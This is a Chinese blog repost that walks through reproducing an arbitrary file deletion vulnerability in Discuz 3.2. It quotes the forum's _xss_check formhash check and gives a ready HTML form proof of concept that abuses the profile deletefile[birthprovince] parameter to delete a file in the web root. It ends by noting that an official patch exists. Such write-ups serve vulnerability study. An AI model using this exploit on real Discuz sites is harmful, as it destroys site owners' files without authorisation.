有趣生活

当前位置:首页>科技>discuz如何清理Discuz全版本任意文件删除漏洞

discuz如何清理Discuz全版本任意文件删除漏洞

发布时间:2026-07-21阅读(1)

导读验证用的版本:discuz3.20x1首先在根目录下新建一个文件0x2构造poc1修改出生地区注意其中的formhash需要替换掉,具体是在源码中找。为什么....

验证用的版本:discuz3.2

0x1首先在根目录下新建一个文件

0x2 构造poc1修改出生地区

注意其中的formhash需要替换掉,具体是在源码中找。

为什么这里要替换掉formhash呢?

一开始不太清楚,网页会报错,

如下

看到了有一个xss验证蛮去找一下这个文件

private function _xss_check() { static $check = array(", >, <, \, (, ), CONTENT-TRANSFER-ENCODING); if(isset($_GET[formhash]) && $_GET[formhash] !== formhash()) { system_error(request_tainting); } if($_SERVER[REQUEST_METHOD] == GET ) { $temp = $_SERVER[REQUEST_URI]; } elseif(empty ($_GET[formhash])) { $temp = $_SERVER[REQUEST_URI].file_get_contents(php://input); } else { $temp = ; } if(!empty($temp)) { $temp = strtoupper(urldecode(urldecode($temp))); foreach ($check as $str) { if(strpos($temp, $str) !== false) { system_error(request_tainting); } } } return true; }12345678910111213141516171819202122232425262728

发现了如下代码

if(isset($_GET[formhash]) && $_GET[formhash] !== formhash())

{

system_error(request_tainting);

}

这里就是对formhash做判断的地方了,当然判断地方不止一个。这里formhash应该是每次登陆后随机生成的,具体源码没有去找他,但尝试两次登陆后找到的formhash不一样

0x3 构造poc2删除zsdlove.txt文件

test->poc<form action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove" method="POST" enctype="multipart/form-data"><input type="file" name="birthprovince" id="file" /> <br><br><input type="text" name="formhash" value="3e42ef6f"/><br><br><input type="text" name="profilesubmit" value="1"/><br><br><input type="submit" value="Submit" /></from>123456789

将该poc保存为html文件打开

随便上传一张图片,注意其中的formhash也要替换

在浏览器中访问

localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove1

在看看网站根目录

文件已经被删除了

0x4 修复方案:官方已经发布补丁,请尽快修复

TAGS标签:  discuz  如何  清理  版本  discuz如何清理

Copyright © 2024 有趣生活 All Rights Reserve吉ICP备19000289号-5 TXT地图HTML地图XML地图